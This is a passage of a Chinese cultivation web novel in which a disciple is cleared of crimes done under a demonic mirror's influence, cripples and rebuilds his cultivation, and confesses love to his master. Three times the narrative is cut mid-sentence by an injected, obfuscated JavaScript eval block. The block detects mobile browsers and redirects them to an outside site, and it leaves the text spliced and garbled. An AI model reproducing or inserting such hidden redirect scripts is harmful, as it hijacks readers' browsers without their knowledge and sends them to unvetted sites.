只有在姜洛玉同意的情况下进行探查,法术才不会对他的神魂造成不可逆的损伤。 探查神魂的法宝又没在大殿,与其去拿那些外物,丛明雪更想亲口从姜洛玉嘴里问出真相。 “师尊……”姜洛玉向前移动了一点,拉近两人之间的距离,“我之所以知道铜镜是魔器,还有控制它的法子,是因为这器灵身上刻着这些东西。” “这器灵藏在我的识海里,借机操控我的所作所为,就像心魔一般。器灵见到这铜镜,好不容易才露出行踪让我抓了个正着。” 这话可不假,姜洛玉找到识海的器灵后,本打算尝试上界的法子禁锢它。 没曾想在识海里看见了器灵身上密密麻麻的小字,全都是在讲如何禁锢此物的,还都是能在下界用的方法。 讲解之全面,让姜洛玉忍不住怀疑,这铜镜是哪个神经病魔头为了找乐子扔下来的。 说着说着,姜洛玉因为比丛明雪矮上小半个脑袋,不自觉地扬起脑袋,委屈道:“师尊不信的话可以探查一番。” 丛明雪注意到姜洛玉眸中的隐隐水意,瞳孔微缩,连忙抬手触碰他的眉心施展检验神魂的术法。 浩瀚磅礴的灵气以丛明雪为中心扩散开来,姜洛玉受到的影响最大,差点没在纯度极高的灵气里被溺死,吸了两口反倒适应下来,刚想借机再吸收几口,眉心的手指撤了下去。 丛明雪的表情更古怪了,他这二徒弟没被夺舍。 到了他这个境界,就算不去刻意关注,也会对周围的一切有所察觉。 比如姜洛玉刚刚到大殿的时候,还是一副玉石俱焚的模样。等到执事长老开始列出他的罪名,底下的人突然换了一副神情,举止也有些许异常。 观察之后,丛明雪先是怀疑有人夺舍,可有人能在他眼皮子底下夺舍他的徒弟,简直是天方夜谭。 “把操控铜镜的方式教予我,”丛明雪伸出手,“你拿着过于危险。” 他还是要先确认魔器的真伪。 姜洛玉乖巧地应了一声“好”,他早就不想拿了,控制这铜镜的法术太过消耗灵力,就刚才那一点时间,几万极品灵石都烧没了。 一番操作之后铜镜到手,丛明雪看见了器灵身上的刻字,神情微妙。 竟然真是魔器,又有如此功能,那么刚才姜洛玉的反常恐怕是器灵作祟。 丛明雪半垂下眼道:“抱歉,是为师误会了。” 就算是什么上界的残魂夺舍,也不会没有一丝痕迹,所以姜洛玉的确没被夺舍。 被丛明雪掐住的铜镜更是安静如鸡,浑身散发着淡淡的死意。 尘极道君见对峙结束,清了清嗓子:“咳咳,谢师叔,你先说说这铜镜的来历吧。” 谢子宁立即倒豆子般把来龙去脉都说了一遍,说到不小心启动铜镜,让姜洛玉说出自己的秘密时,整个人尴尬地脸都红了。 事主之一的姜洛玉倒是站在下面白着脸,一副弱柳扶风的姿态,似乎全然不在意谢子宁说了什么的样子。 另一个事主更甚,从头到尾连眼睛都没动一下。 等谢子宁说完,丛明雪将器灵身上刻着的字都打在了半空里,众人才知道事情的全貌。 首先,这铜镜没名字,但的确是魔界来的,还是个宗师炼器师特意制作的废品魔器。 此魔器看似只有能让他人说出心中秘密的功能,实则不然。这里面藏着的器灵,每次认主之后便会附在主人的识海里,一点点潜移默化修士的意识,然后顺势操控躯体的行为,但修士本人却发现不了异常,直到彻底吞噬主人的神魂。 被吞噬了神魂的修士会变成行尸走肉,而器灵则会回归铜镜,静待下一个主人到来。 那宗师炼器师将它扔到下界纯粹是为了好玩儿,想看看废品魔器在下界能杀多少人,能用它鸡肋的功能造出多少孽障来。 在器灵身上刻下禁锢方法,是为了能让铜镜不被天道发现毁灭,有限制的废品魔器才能安稳地待在下界。 这下真相大白,所谓姜洛玉残害同门,贿赂宗门长老,勾结外人扰乱考场秩序,甚至搜罗禁术妄图欺师灭祖,全是在器灵的操控下做出的。就是欺师灭祖的原因,确实赖不到器灵脑袋上。 可这些事已经发生了,还闹得那么大,不给出个处罚……尘极道君悄悄看了眼丛明雪淡漠的神情,也不知道仙尊想怎么处置。 丛明雪按照铜镜里的方法碾碎器灵,沉思片刻:“子宁,你贸然认主铜镜生出事端,罚你去剑谷思过三月。” 剑谷剑意逼人,是宗门内磨练的好去处,但要是持续在里面待着,感受到的剑意威压足以把人逼疯,三个月的时间不长不短,正好卡在那个界限。 谢子宁当即称“是”。 姜洛玉站在一边等待丛明雪安排自己的处罚措施,结果丹田处猛地传来剧痛,他只好闭眼探查。 丹田内只有一柄小剑,通体漆黑,是他这一世的本命剑玄衣。 此时此刻,玄衣正在满丹田乱飞,似乎在被什么可怖的东西追赶,但他看不见。 痛感越来越强烈,姜洛玉操控玄衣失败,又找不到致使玄衣乱动的罪魁祸首,心态爆炸之前,鬼使神差地在丹田里喊了一句:“无相?” 乱飞的玄衣瞬间停在角落,三两下把自己拧巴成一根细棍。姜洛玉也不知道它一柄长剑是如何做到的,等到玄衣彻底停止颤动,丹田里浮现出一个亮晶晶的圆球。 圆球外表呈现出铅灰色,光可鉴人,类似一个巨型水银。 姜洛玉脑子“嗡”得一下:“你怎么也在下界?!” 无相球上下跳了跳,一副“主人你终于想起我”的激动模样。 无相球是他在仙界的本命法宝,应万相道而生。用他千辛万苦才驯服的无相石炼制而成,可配合他的万相道幻化成各种模样的法器。 但他离开前分明把本命法宝交给丛明雪保管……是了,丛明雪都出现在下界了,再多个法宝也不算多。 目前的问题是,一个身体容不下两个本命法宝。 姜洛玉感觉丹田要炸了,想抓住无相球,把它掏出来让丹田轻松一下,结果无相球和泥鳅一样在他丹田乱窜,根本摸不到边,好不容易抓到了,却发现这东西根本拿不出去。 无相球和他的神魂绑定住了,想把它拿出去得先和神魂解绑。 姜洛玉人都傻了,在丹田爆炸之前只想到了一个法子。 “至于烛山,你——” “师尊,”姜洛玉打断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628958|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丛明雪的话,“弟子虽被器灵控制,也是心有龌龊才被钻了空子。” “这些日子,弟子夜不能寐,经常夜半挥剑直至天明,师尊可知为何?” 丛明雪摇头:“我不知。” 姜洛玉抬手唤出玄衣剑,温柔地抚摸着剑身,神情悲伤,声音如泣如诉:“师尊,弟子十五岁入道,您说弟子同大师兄一样不适合您独创的剑法,于是弟子便修炼了天正宗绝学《正天诛魔剑法》。” “这百年间,弟子自矜无愧于《正天诛魔剑法》第一页的训诫——‘剑者,心如明镜,万魔尽诛。’可如今,弟子心生杂念,竟试图对同门师弟拔剑相向。” “道心既破,那弟子就甘愿自废修为,重寻大道!” 话音刚落,未等众人做出反应,姜洛玉借无相球遮掩利落地自废修为,气势节节败退,不出几息就变得和凡人没什么区别。 谢子宁:“师兄?!!” 尘极道君:“!!!!” 慈安真君:“……?!” 废完修为和玄衣剑失去联系,姜洛玉的丹田轻松一瞬再度疼痛,不过这次不再是要撑爆的感觉。 他恍惚间觉得逆行经脉带来的痛楚都变得美妙起来,毕竟让两个本命法宝把他丹田撑炸了才是彻底完蛋。 “胡闹!”丛明雪接住向后倒去的人。 姜洛玉落入满是冷香的怀抱,要不是时机实在不对,他恨不得笑出声,眼下只好皱着眉,偏头咳出血:“师尊,弟子没有闹。” 他扒拉着丛明雪的衣袖,努力让自己的表情看着更加无害,再配上他惨白的漂亮脸蛋,这种认真的表情杀伤力翻倍。 丛明雪蹙着眉,声音难得地流露出愠气:“闭嘴,修为岂是你说废就废的!” 姜洛玉又生出一种抛媚眼给瞎子看的错觉,乖乖闭上嘴。随即有些发愁,丛明雪在下界不会真修了无情道吧? 尘极道君被这转折震得目瞪口呆,神游般问慈安真君:“我在做梦吗?” “大概没有。”慈安真君思索一下,决定溜走,“师兄,我洞府的灵兽还没喂,就先走了。” 尘极道君:“……” 他这师妹洞府哪有灵兽,她的灵兽不是刚刚寄养到自己那儿么? 尘极道君轻叹了一口气,转头看向满脸惊恐的谢子宁,道:“谢师叔别看了,仙尊一时半会儿顾不上你,我顺道带你回弟子居吧。” 有丛明雪在,尘极道君完全不担心姜洛玉自废修为后的安危,他们在这儿也帮不上什么忙,还是先走为妙。 谢子宁三步一回头地跟在尘极道君身后离开大殿。 “哎呀师尊,您别生气啊。”姜洛玉被丛明雪横抱在怀里,抵抗自废修为带来的负面作用的同时,还有心情骚扰神情阴沉得吓人的丛明雪。 丛明雪听完之后眉头一皱,给姜洛玉下了禁言术,又套了一层定身术:“屏气凝神,保持清醒。” 姜洛玉:“……” 他们正在飞回丛明雪所在的峰头落雪峰,他的好师尊要替他打通经脉、修复丹田,让他能够再度修炼。 拖得越晚,他的经脉和丹田受到的损伤就越大。 没过一会儿,姜洛玉就被丢在了落雪峰自己幼时曾经的洞府。 虽然这地方在谢子宁修炼后再度空了出来,但还是能看出和之前不一样的使用痕迹。 姜洛玉艰难拽住丛明雪的袖子,闷闷道:“师尊……我不想在这里。” 丛明雪眸子闪了闪,也没多说什么,用法术把他移到了自己的洞府。 姜洛玉:“……” 也不错,起码他已经踏进丛明雪的生活区了。 他躺在仙尊标配的石床上喘了两口气,觉得自己再躺下去,不等丛明雪回来就要被这冒凉气的石床冻感冒。 可惜他现在只是个身受重伤且“毫无灵力”的柔弱凡人,连动都动不得,只好继续等。 在他打了第一个喷嚏后,丛明雪姗姗来迟。 “吃了。”丛明雪将一颗金色丹药放到姜洛玉嘴边。 姜洛玉张开嘴嚼了嚼,丹药就化作热流被他吞入腹中。 丛明雪:“有什么感觉?” 姜洛玉仔细感受了一下,丹田处汇聚了一股暖流,经脉的疼痛也开始减轻,于是语气含糊暧昧道:“师尊,你听听弟子的心……跳得快不快?” 8. 穿越第八天 “心跳得快,是因为你如今经脉逆行,心血供给全身却不得回流导致的。”丛明雪继续问道,“还有什么不适之处?” 姜洛玉:“……没有。” 刚才的丹药正在持续发挥药效,他能感觉到自己浑身上下轻松了不少,还能听见类似雨水落在地面的“沙沙”声响。 直到他试图抬起手,小雨变成了倾盆大雨,他才意识到那声音代表着萎缩破碎的经脉正在被丹药一点点修复。 一个时辰过去,姜洛玉终于能动了,行动自如后第一时间跳下能硌死人的石床。 被冷落许久的玄衣剑顿时从地面一蹦三尺高,飞到姜洛玉身边贴着他转圈,就是不敢碰到他的身体。 丛明雪将人按了回去:“坐好,我替你疗伤,再引你入道。” 姜洛玉乖乖坐了回去,后背贴上冰凉的手掌,灵力顺着两人相贴的地方涌进他的身体。 就像是……十五岁那年一样。 丛明雪确认他的经脉已经能够承受修炼时的灵气流通,便正式引他入道。第二天他便成为了一名练气修士,自然也从落雪峰的洞府搬了出去,住在了山腰的弟子居,和齐怀仁比邻。 弟子居有阵法维护,院内四季如春,住着齐怀仁养的一群灵宠,还有附近没开智的小动物。 院内毛团子打架的场景从脑中略过,姜洛玉感慨着下界渡劫真是个奇妙的事情,有了这些记忆的他还是他,不会出现什么分不清自己是谁的情况。 其实更像是一种角色扮演,怪有趣的。于是趁着丛明雪还在梳理,又把这三世的记忆在脑袋里过了几遍。 他渡劫前特意去打听了一番渡劫后的情况,从春花境内书阁的记载里了解到,一般劫数渡完后,会记得渡劫时发生的一切,只有少数情况会不记得。 就是不知道他现在的情况属于哪一种,要是把这些记忆忘了,还怪可惜的。 “凝神。” 姜洛玉收回发散的思绪,感受到丹田已经恢复得七七八八,丛明雪还没发现里面因为他自废修为而死机的无相球,悄悄松了一口气。 整套流程下来不出半个时辰,姜洛玉就从废人变回了练气一层的修士。 姜洛玉安抚完丹田内活蹦乱跳的无相球,又摸了把玄衣剑的剑柄,再度跳下石床,一甩衣襟准备下跪。 丛明雪头疼地拦住准备跪下的人:“为何要跪?” 姜洛玉沉默片刻,道:“请罪。” 无论是现世还是在仙界,他看那些话本子里徒弟大逆不道之后都是这么请罪的。 具体流程是先下跪,接着认错,然后剖白内心趁机告白,杀手锏是苦肉计。一串操作下来作为师尊的一定会心软,然后徒弟就能顺利和师尊甜甜蜜蜜。 总归他暗恋丛明雪的事情已经被器灵捅出来了,对方到底有没有上界记忆先放在一边,他干脆一不做二不休直接告白。现在丛明雪不让他跪,那就从第二步开始好了。 想通的姜洛玉借着宽大衣袖的遮掩拧了把大腿,逼出点眼泪打湿眼眶,哽咽道:“师尊……弟子有罪。” 丛明雪眸光一闪:“你有何罪?琼山秘境的事已经证实乃器灵所做。” 姜洛玉再接再厉:“弟子倾慕师尊许久——” 对面的银发仙尊消失得无影无踪,空气里只留下了一句气息不稳的“好好巩固修为”。 姜洛玉:“……” 之前怎么没发现丛明雪是逃避型人格。 不过丛明雪临阵脱逃在他的预料之内,毕竟他自己设想了一下——“亲手养大的徒弟居然喜欢我”这种事情,都觉得炸裂。丛明雪阅历再多,也得需要时间反应,想一想如何解决这个问题。 姜洛玉“唉”了两声,换下染血的弟子服,打算去山腰看看大师兄在干些什么。 记忆中的齐怀仁长相俊美,还有着一双狐狸眼,但浑身上下一副老实人的气质,生生把狐狸眼特有的精明感压了下去。在他刚开智不太能控制行为的时候,没少替他收拾烂摊子。 与此同时,山腰弟子居练剑的齐怀仁打了个喷嚏,神情困惑。树下的灵猫被喷嚏吓醒,开始绕着小院来回飞奔,带飞了一群睡觉的灵宠。 鸡飞狗跳之后,齐怀仁才得空继续练剑。 “师兄,你这猫借我两天?” 齐怀仁循声看向院门口,神色一喜:“烛山你回来了!” 姜洛玉一把抓起在墙边睡得不省人事的灵猫,撸了两把它蓬松的尾巴,又挠了挠它的下巴。睡梦中的灵猫舒服得发出呼噜呼噜的声音,在他怀里翻了个身开始无意识踩奶。 齐怀仁收起本命剑,一脸严肃地示意姜洛玉不要动,缓缓靠近,如愿摸到了猫毛。 姜洛玉有些无奈:“师兄,不至于这么小心。喏,给你抱。” 说完就把怀里的灵猫送到了齐怀仁怀里,不管对方如何惊恐,他点头鼓励道:“放心师兄,师弟保证这几天你都能抱着它。” 看着齐怀仁震惊又惊喜的表情,姜洛玉压下嘴角深藏功与名。 这就是落雪峰的大师兄齐怀仁,道号宣和,极端毛茸茸爱好者。苦于修炼的剑法杀气过重,所有在他半米之内的妖兽、灵兽还有普通动物都会对他展露出攻击性,只好养了一院子灵宠过过眼瘾。 “师弟,你是如何做到能让灵兽在我怀中安睡的?”齐怀仁轻声问道,“还有你这修为……” 姜洛玉:“前些日子得了的新法术,没来得及给师兄送过来就遭此横祸。至于修为,是我自愿废除的,幸得师尊救治才得以重修。” 法术当然是假的,其实是他用无相球模拟出了动物会喜欢的气息。 “原来如此。”齐怀仁点点头,他今日一直关注着大殿那边的消息。 等尘极道君将审讯结果公布之后,他第一时间冲过去,看见上面的内容之后,心里的石头终于落地。 他就说姜洛玉不会是那种人。 姜洛玉顺手又捞起来一只肉乎乎的狗崽抱在怀里,边走边道:“师兄,我修炼一段时日就要出宗历练了。” “嗯……嗯?”齐怀仁撸猫的手一顿,“烛山,就算你重修之前也没到出宗历练的修为啊?师尊不会允许你下山的。” 天正宗规定,宗门弟子只有到了元婴修为才能下山历练。姜洛玉说他修炼一段时日就要历练,在齐怀仁眼里简直是在开玩笑。 知道些内幕的齐怀仁深深看了一眼姜洛玉,小心道:“师弟,天正宗永远都是你的家。师尊也不会因为……就将你逐出师门的。” 眼看着齐怀仁的思维似乎陷入了什么误区,姜洛玉连忙打断他无谓的联想:“不,师兄你误会了。我已经想明白我志不在剑道,待在宗门内大概也寻不到我想要的,才打算出门寻一寻机遇。” “师尊会理解的,毕竟他这么善解人意。” 齐怀仁:“……?” 他们说的是一个人吗? 两人又在月色下聊了几句,姜洛玉假装教给齐怀仁对小动物掩盖自身杀气的法术,实则偷偷把无相球掰下来一点,放在齐怀仁身上。 无相球瞬间模拟出讨动物欢欣的气息,齐怀仁怀里的灵猫睡得更加安稳。 两人分别后,姜洛玉回到自己的卧房,没骨头一样躺在和仙界舒适程度没有分别的大床上,翻来覆去思考接下来该怎么办。 首先,渡劫是要渡的,前两世的劫数云里雾里。他暂且将第一世的灵道劫归结为体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628959|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验“灵道”众生相。 第二世……转折点应该是在他彻底疯了之后,他若是贪恋权力,姜国免不了在一个疯子的治理下走向灭亡。考验的应当是他的初心,毕竟他当初学习帝王之术的时候,满脑子都是想让姜国百姓安居乐业,路无饿殍。 这一世的要的渡劫却很好理解——飞升。 只有以修士之身飞升,他这三道劫才算渡完。 其次,要确定丛明雪到底是个什么情况……这个可以排在后面,保守估计最近几年丛明雪大概率不会想见他。 渡劫修士躲着他,他也没有办法拽着丛明雪不让他躲。 最后,他得出去一趟让无相球过个明面。 先前的《正天诛魔剑法》他是不能修了,他无论是在仙界还是在下界,对剑的理解仅限于杀人顺手的工具。 就连这一世选择当剑修,有一半儿原因都是因为丛明雪。那时他觉得自己的师尊是剑修,那他身为师尊的弟子,也要当剑修。 实际上,丛明雪从来没规定过必须让弟子学剑。如今姜洛玉恢复记忆,脑子也回来了,自知无法靠剑道飞升,恰好无相球又出现在下界,自然要选择他钻研了五百年的万相道做一个法修。 就是委屈了玄衣剑。 玄衣剑像是知道他在想什么,从剑架上飞下来站到床边,姜洛玉硬是从它晃动的漆黑剑身上看出来一丝告状的意味。 “别担心,就算你做不了我的本命剑,我也不会把你丢在一边的。”姜洛玉又掰了一点无相球下来,那点银色的水银状圆珠刹那渗入玄衣剑。 微弱的金光出现在剑身周围,一眨眼功夫就照亮了整间卧房,光亮持续了半炷香。等到姜洛玉从话本子里脱离,一柄多了银色暗纹的玄色长剑出现在他面前。 玄衣剑颤动几下,化作光点飞进姜洛玉眉心,在识海找了个地方陷入沉眠。 姜洛玉吐出一口浊气,他方才将玄衣剑炼化一番,做成了无相球的伴生法器。这样之后等他飞升,玄衣剑也就能跟着他飞上去。 落雪峰的本命剑都是丛明雪炼制的,那时他刚选择成为一名剑修,隔天就被丛明雪叫去峰顶,在十几个储物戒里挑选出自己喜欢的天材地宝。 他选了十万年的极品落雷铁和极品三清玉作为剑胚的主材,又融进了自己的心头血。三年之后,玄衣剑诞生在漫天七彩霞光中,被雷劈了足足七天七夜。 如今一回想,满脑子全是丛明雪将剑交给他时的样子。当真是风骨卓绝,又比天上的月亮还清冷,似乎下一秒就要飞升成仙。 他拿剑的时候,不小心碰到了丛明雪修长如玉的手指,又嗅到他身上特有的清冽气息,成功让刚成年的心脏狂跳,不由自主地产生了旖旎心思。 “咳咳……”被回忆尴尬到的姜洛玉选择掏出无相球展开下一场谈话,“你怎么到下界来的?” 无相球缩成半个拳头大小,在他掌心滚了滚。 姜洛玉:“……” 忘了现在的无相球没办法和他直接沟通了。仙器和魔器之类的,到了下界必定会受到极大的限制,除非是铜镜那样鸡肋功能又没那么逆天的,才能钻空子。 现在的无相球顶多……算是个比极品法宝高级一点的东西? 姜洛玉又仔细感受了一下,发现确实如此,而且无相球能发挥出来的攻击强度和他的修为成正比。防御力倒是高得离谱,理论上能够抵御比他高三个小境界的修士的全力一击。 “我问你答,对就跳一下,不对就跳两下。” 无相球跳了一下。 姜洛玉:“丛明雪带你下来的?” 无相球滚了滚,然后跳了三下。 姜洛玉:“……” 9. 穿越第九天 “你倒是会跳。”姜洛玉捏了一下,直接把无相球分成两半盘了起来,“罢了,我问你还不如去问正主。” 无相球被蹂躏得不成球形,被放开后瞬间回了姜洛玉丹田。他叹了口气躺回床榻,思索着关于无相球的事。 能在下界用无相球当本命法宝也是离谱,用脚趾头想想都不正常。天道没降下几道天雷劈他就不错了,真相隐藏在雾里,他暂时看不清。 直到月上中天,姜洛玉才再度有了动作。先是跳下去变幻了几下身形,从在大殿的执法长老一直变到刚才见过的齐怀仁,深吸一口气再缓缓吐出,坐到地面的蒲团上开始修炼。 次日清晨,姜洛玉睁开眼,适应着体内练气三层的修为。按照他这种重修速度,大概没几天就能重回筑基。 修士筑基之后,修炼最重要的就是功法。他在仙界修炼的功法是丛明雪领着他结合自身万相道创出来的仙级功法《太一万法无相诀》,若是想在下界修炼,那就要改良成适合下界的功法。 问题是,他还没有能随便修改功法的实力,刚才只是修改了一点,就能察觉到路子不对,再修下去怕是要走火入魔。如今摆在他面前的只有两条路,要么继续改良功法,要么再找个适合万相道的功法一直修到飞升。 姜洛玉犹豫一下,还是决定先去找丛明雪,先透露出自己恢复记忆的消息,试试看能不能人让他帮着改良。 昨天实在不该头脑一热袒露心意,冷静下来后,他恨不得穿回去重来一遍。 走到门口,一股熟悉的辛香突兀地出现,姜洛玉脚步一顿关上房门,满脸崩溃地撸起袖子开始确认——真是他身上传来的味道。 他这辈子不是人吗?怎么还能冒出生姜味儿? 姜洛玉不信邪地挤出一滴血,更加浓郁地生姜气息传了出来。 一刻钟后。 谢子宁收拾完,推开门准备去剑谷领罚,下意识看向对面的院子,一眼就看见院门口一身黑的姜洛玉。 天正宗不强迫弟子必须穿弟子服,只有宗门大比这类大型活动时,才会让弟子统一着装。 谢子宁自从来到落雪峰那天起,就没见过姜洛玉穿弟子服,但他身上的法衣通常都是清浅的颜色,玄衣加身倒是第一次见。 “这衣服好看吗?”姜洛玉发现谢子宁的目光,回看过去幽幽道。 谢子宁有些尴尬:“好看。这法衣和师兄很配,就是没见过师兄穿这种颜色的衣服。” 玄色法衣层层堆叠,袖子上还绣着欲飞的仙鹤,行动间还能看见仙鹤煽动的羽翼,就是衬得姜洛玉本就极白的肤色更白了。 姜洛玉:“和我今天的心情很配。” 谢子宁:“……?” 姜洛玉:“师弟,你能闻到我身上有什么味道吗?” 谢子宁动了动鼻子,老实道:“有熏香的味道,只是师弟不知是什么香料。” 那是一种带着略甜的甘冽气息,类似他儿时闻过的碧海幻月花在月光最盛时绽放的味道。那年他六岁,母亲和父亲把他夹在中间等待着山谷里的花海盛开。 一晃多年过去,当初看花的人,就剩下他自己了。 等等,怎么还有一丝辛味? 姜洛玉见谢子宁面露古怪,隔空敲了敲他的脑袋:“忘记告诉师弟了,这熏香的原材料有致幻作用,意志不坚定可不能多闻。” 当然不是熏香,是他废了好大力气才掩盖住的生姜气息带来的副作用。他严重怀疑身上散发的生姜气息和他恢复记忆有关,别的倒是一时没想到。 “这些日子发生的事是师兄不对,心有龌龊让那器灵钻了空子。师兄其实不讨厌你,也不介意你靠近师尊向他请教问题。” 谢子宁被敲得“哎哟”一下,对姜洛玉的话持怀疑态度,也不敢多问,干笑两声打算溜走。 姜洛玉:“师弟先别急着走,你替我向师尊传个音。” 谢子宁吞了吞口水:“啊……师兄你想传什么?” 他怎么感觉二师兄笑得这么诡异啊! 主峰,掌门居所。 尘极道君苦思冥想才落下白子,又是几轮过后,再也无棋可下。眼看着对面的人就要将棋局重开,尘极道君赶忙拦住:“仙尊,咱们两个都手谈十几局了,您看天都亮了……您来找晚辈,到底想说什么?” 身为天正宗的护宗长老,丛明雪完美地诠释了“神龙见首不见尾”这几个字。尘极道君也只是在需要丛明雪镇场子的时候,才会去落雪峰请他出来。 昨天半夜他还在翻看宗门的账目,抬头就看见白衣仙尊一言不发地坐到他对面,拿出棋盘和棋罐。 他赶忙行礼问好,丛明雪只是淡淡点头,然后让他看完账本陪他下棋。 这棋一下就是一整夜,期间丛明雪多次欲言又止,尘极道君问了也没得到个答案。本来以为这次丛明雪还是不会回应自己,没想到对面的人居然停下了动作。 丛明雪:“尘极,你是如何将元成养大的?” 元成是尘极道君二徒弟周临君的道号,如今已是元婴中期修士。他尚未满月就被尘极道君从山林里捡回来,废了好大的力气才养活。 尘极道君听完丛明雪的问题满脸疑惑,道:“就……其他人怎么养孩子,我就怎么养他啊。” 丛明雪微微蹙眉:“具体一些。” 尘极道君:“饿了喂奶,哭了换尿布,再大一些就教他说话认字,衣食住行能自理了就让他自己睡了,入道后再教他修炼。真要说起来,池河照顾他的时间比我更多些。” 池河是他的大徒弟时煦白,化神中期修士。想当年他自告奋勇照顾周临君,尘极道君就同意了,之后收下的年纪较小的弟子也多半都是时煦白照料,就是再也没有像周临君一样小的孩子。 尘极道君一提起时煦白,就能想到宗门里一堆未成年灵兽幻化的稚童围着他转的画面。 “我待烛山除了照看他的时间多些,其它的亦是如此,对宣和还有子宁也是一般的态度。”丛明雪摩挲着圆润的棋子,“为何偏偏烛山对我生出倾慕之情?” 尘极道君:“……” 他就不该大半夜看账本。他应该坐在蒲团上修炼,这样丛明雪看见他修炼一定不会进来找他下棋,还问这么让人头大的问题。 丛明雪还想说什么,抬手收到了一道传音。谢子宁在传音里说想请教他一些修炼上的问题,解决完了好去剑谷领罚。 尘极道君眨眨眼,对面的人没了影子,只剩下桌子上闪闪发光的极品灵药,还都是他几个徒弟最近需要的。 落雪峰,弟子居。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628960|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丛明雪落到地面,看见了站在谢子宁小院门口的青年。 一身玄衣,眸如点漆,像是误入尘世的一滴墨水。是他从未见过的样子,嘴角微微下垂,带着几分郁气。 姜洛玉向前迎了几步,行礼道:“弟子见过师尊。” 丛明雪:“找我何事?” 姜洛玉呼出一口气,清晨的弟子居阵法最为薄弱,早秋的凉气渗透进弟子居,呼出的气化作白雾转瞬即逝。 他盯着丛明雪没什么表情的脸,伸手微微拉扯自己的衣领,露出一小片光洁的脖颈,又在对面的人震惊逃跑前把手落了下去。 丛明雪被那一小片白晃了眼,见那片颜色消失才能自如地呼吸。 几个清洁术下去,遮掩气息的熏香消失了,比之前更加刺激的生姜的辛辣气味儿以姜洛玉为圆心四散开来。 他状似慌乱地开口:“师尊,我不知道我这是怎么了……” “而且我这几天老是做梦,梦见自己住在那九重天上,是个平平无奇的小仙,跟在一位神君身——” 粗如碗口的黑色天雷劈了下来,带着玄之又玄的气息。姜洛玉头皮一麻,死亡的危机感笼罩心头,差点以为自己要死了。 好在危急时刻丛明雪出手挡了一下,但只是削弱了一部分,剩下的天雷硬生生把他劈回了练气一层。 姜洛玉麻木的四肢稍有缓和,捂着胸口咳了咳,差点没一屁股坐到地上。 不让说就不说,提醒一下就好了,天道至于要落雷劈死他吗? 丛明雪像是没看见天雷落下一般,神色如常道:“都是梦罢了,许是受器灵影响。” 姜洛玉抿着唇,脸色难看。他不知道丛明雪是不是也受天道限制不能说出实情,又或者是真的失忆,还是被天道清除了记忆,就连无相球身上也带着诸多谜团。 太被动了,就像处在漩涡中心的人不知道自己在漩涡里。 “你身上的气息,大概是和你的身世有关。”丛明雪将神识探入储物戒,拿出个巴掌大的卷轴,递给姜洛玉,“回三清秘境看看吧,那里是你诞生的地方。” “诞生”吗?姜洛玉接过卷轴,向丛明雪露出个意味深长的笑。 下一瞬,他的好师尊又没了踪影。 姜洛玉:“……” 他功法的正事还没说呢。 之后几天,姜洛玉想了个法子去天正宗禁地转了一圈。那地方被阵法封印着,据传封印得是通往冥界的通道,实际就是个不见底的深坑,是不是联通着冥界有待考察,却是个能让他把功法过了明面的好地方。 靠着无相球在禁地藏了三天三夜,又用无相球给自己挂了一身彩,姜洛玉拿着从“上界残魂”那儿得到的功法去找了丛明雪。 好在这次没被天道劈,姜洛玉按照丛明雪的教导将功法完善成下界可以修炼的状态。一年之后,他成功以惊人的速度重修回金丹初期。 挥别被满院毛绒绒淹没的大师兄,还有练剑练到半死不活的小师弟,以及暗处看不见人影的丛明雪,姜洛玉坐着外表朴素的飞舟离开了天正宗。 整个修真界分为八洲三岛,四域五山,各个势力划分得一清二楚。 他此行的目的地,正位于八洲之内的云泽洲——一个白云落地,仙凡混居,麦草常青的地方。 10. 穿越第十天 修真界从整体上看,可以概括为八洲三岛,四域五山。 八洲分别是太极、栖仙、云泽、扶桑、东南西北八洲。 三岛为蓬莱、问仙、天机三岛。其中蓬莱岛位于太极洲西北部,问仙、天机二岛位于八洲之间的归云海上。 四域则是按照气候划分的春夏秋冬四域。云泽、南洲为春域,扶桑、西洲为夏域,太极、北洲为秋域,栖仙、东洲为冬域。 五山散落在八洲里。昆仑山位于栖仙洲最南端极寒之地,不化的积雪覆盖整条山脉,从空中放眼望去呈现出龙腾之势;浮玉山隐没在云泽洲的云雾间,里面生长着许多品级功效罕见的灵药,凡人不得靠近,只有修士才能进入其中;飞光山环绕于北洲佛宗,山势险峻,山表漆黑寸草不生。 至于荼尸山和囚魔山,一个在扶桑洲一个在南洲,这二洲是出了名的魔修聚集地,魔修众多。山上的天材地宝日积月累下来,因为魔修逸散出来的魔气,全都变成了更适合魔修使用的性质。 姜洛玉躺在甲板的竹椅上,拿着地理志用神识看了几遍,把知识打包丢进脑子,走到船尾开始调整飞舟的前进方向。 